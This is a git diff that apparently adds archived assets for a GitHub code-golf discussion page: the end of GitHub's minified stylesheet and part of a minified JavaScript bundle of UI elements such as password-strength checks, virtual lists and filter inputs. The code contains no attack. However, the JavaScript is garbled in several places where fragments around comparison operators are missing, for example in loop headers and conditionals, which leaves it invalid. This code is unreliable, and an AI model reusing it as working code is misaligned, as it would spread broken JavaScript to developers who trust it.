.non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const 